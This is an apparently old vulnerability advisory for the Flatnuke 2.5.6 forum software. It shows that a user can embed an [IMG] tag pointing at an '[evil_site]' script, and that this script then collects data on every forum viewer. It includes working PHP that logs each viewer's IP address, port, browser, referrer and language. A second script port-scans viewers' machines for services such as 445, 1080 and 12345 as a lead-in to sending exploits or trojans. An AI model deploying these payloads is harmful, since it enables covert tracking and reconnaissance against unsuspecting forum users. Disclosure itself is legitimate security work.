Flatnuke 2.5.6 enENa2 (possibly prior versions) user IP address /
information disclosure

software:
site: http://flatnuke.sourceforge.net/flatnuke/
download link: http://itk.hopto.org:666/work/index.php?mod=Download&dlfile=FlatNuke_En/FlatNukeEn_2.5.6_a2.zip&mode=go

same vuln of simple machine forum, information disclosure:
a user can use [IMG] bbcode in messages

[IMG]http://[evil_site]/image.php[/IMG]

where image.php is a file like this:

<?php
 $log="log".date("Ymd").".txt";
 $fp=fopen($log,'a');
 fputs($fp,$REMOTE_ADDR.":".$REMOTE_PORT." - ".$HTTP_USER_AGENT."-".$HTTP_REFERER."-".$REQUEST_METHOD."-".$QUERY_STRING."-".$HTTP_ACCEPT_LANGUAGE."-".$REQUEST_URI."\r\n");
 fclose($fp)
?>

When forum users view a page that should show the image, a new line is appended
to log[date].txt on [evil_site] server, like this:

08.31.05 04.09 - 192.168.1.1:8562 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)-http://[target]/[path]/[page]-GET--it-/image.php

so an external user can monitor in details the forum activity, user ip addresses,
have informations on OS and browsers used and so on

the evil script could check for open ports/services on target machines to send
them exploit code or proxies, trojan ports, do some other stuff, just an example:

<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 1);
$log="log".date("Ymd").".txt";
$fp=fopen($log,'a');
fputs($fp,'open ports on '.$REMOTE_ADDR.": ");
$portlist="23;135;139;445;1080;3128;8080;12345";
$ports=explode(";",$portlist);
for ($i=0; $i<=count($ports)-1; $i++)
{
$ock=fsockopen($REMOTE_ADDR,$ports[$i]);
if ($ock) {fputs($fp,$ports[$i].' '); fclose($ock);}
}
fputs($fp,"\r\n");
fclose($fp);
//then a lot of creativity ;)
?>


rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it